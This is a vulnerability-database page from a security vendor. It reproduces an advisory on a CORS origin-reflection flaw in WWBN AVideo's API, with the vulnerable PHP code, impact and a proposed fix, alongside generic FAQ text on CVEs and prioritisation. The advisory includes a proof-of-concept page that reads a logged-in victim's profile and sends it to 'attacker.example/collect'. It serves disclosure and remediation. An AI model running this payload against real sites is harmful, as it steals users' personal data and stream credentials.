How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,262

Total vulnerabilities in the database

WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover — wwbn / avideo

Permissive Cross-domain Policy with Untrusted Domains

Summary

The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.

Details

The vulnerable code path is in objects/functions.php lines 2773-2791:

// objects/functions.php:2773
if ($allowAll) {
    $requestOrigin = $_SERVER[&#039;HTTP_ORIGIN&#039;] ?? &#039;&#039;;
    if (!empty($requestOrigin)) {
        header(&#039;Access-Control-Allow-Origin: &#039; . $requestOrigin);
        header(&#039;Access-Control-Allow-Credentials: true&#039;);
    } else {
        header(&#039;Access-Control-Allow-Origin: *&#039;);
    }
    // ... allows all methods and headers ...
    return;
}

This is called unconditionally at the top of both API entry points:

// plugin/API/get.json.php:12
allowOrigin(true);

// plugin/API/set.json.php:12
allowOrigin(true);

The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same allowOrigin(true) call gates the entire API surface.

The attack is enabled by the session cookie configuration at objects/include_config.php:144:

ini_set(&#039;session.cookie_samesite&#039;, &#039;None&#039;);

This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).

When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including:

Email, full name, address, phone, birth date (PII)
Admin status and permission flags
Livestream server URL with embedded password (API.php:3059)
Encrypted stream key (API.php:3063)

The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.

PoC

Step 1: Host the following HTML on any domain (e.g., https://attacker.example):

&lt;html&gt;
&lt;body&gt;
&lt;h1&gt;AVideo CORS PoC&lt;/h1&gt;
&lt;script&gt;
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch(&#039;https://TARGET/plugin/API/get.json.php?APIName=user&#039;, {
  credentials: &#039;include&#039;
})
.then(r =&gt; r.json())
.then(data =&gt; {
  document.getElementById(&#039;result&#039;).textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon(&#039;https://attacker.example/collect&#039;,
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
    })
  );
});
&lt;/script&gt;
&lt;pre id=&quot;result&quot;&gt;Loading...&lt;/pre&gt;
&lt;/body&gt;
&lt;/html&gt;

Step 2: Victim visits the attacker page while logged into the AVideo instance.

Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true

Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.

Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.

Impact

User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
State modification: The set.json.php endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim
Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor

Recommended Fix

Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:

// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
    $requestOrigin = $_SERVER[&#039;HTTP_ORIGIN&#039;] ?? &#039;&#039;;
    if (!empty($requestOrigin)) {
        // Validate origin against site domain before reflecting
        $siteOrigin = &#039;&#039;;
        if (!empty($global[&#039;webSiteRootURL&#039;])) {
            $parsed = parse_url($global[&#039;webSiteRootURL&#039;]);
            if (!empty($parsed[&#039;scheme&#039;]) &amp;&amp; !empty($parsed[&#039;host&#039;])) {
                $siteOrigin = $parsed[&#039;scheme&#039;] . &#039;://&#039; . $parsed[&#039;host&#039;];
                if (!empty($parsed[&#039;port&#039;])) {
                    $siteOrigin .= &#039;:&#039; . $parsed[&#039;port&#039;];
                }
            }
        }
        if ($requestOrigin === $siteOrigin) {
            header(&#039;Access-Control-Allow-Origin: &#039; . $requestOrigin);
            header(&#039;Access-Control-Allow-Credentials: true&#039;);
        } else {
            // For truly public resources (ad XML), allow without credentials
            header(&#039;Access-Control-Allow-Origin: &#039; . $requestOrigin);
            // Do NOT set Allow-Credentials for untrusted origins
        }
    } else {
        header(&#039;Access-Control-Allow-Origin: *&#039;);
    }
    // ... rest of headers ...
}

Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.

Published: Apr 14, 2026
Updated: Apr 15, 2026
GHSA: GHSA-ccq9-r5cw-5hwq
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CWEs:

CWE-942

Affected Software
References

Software	From	Fixed in
wwbn / avideo	-	29.0.x

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.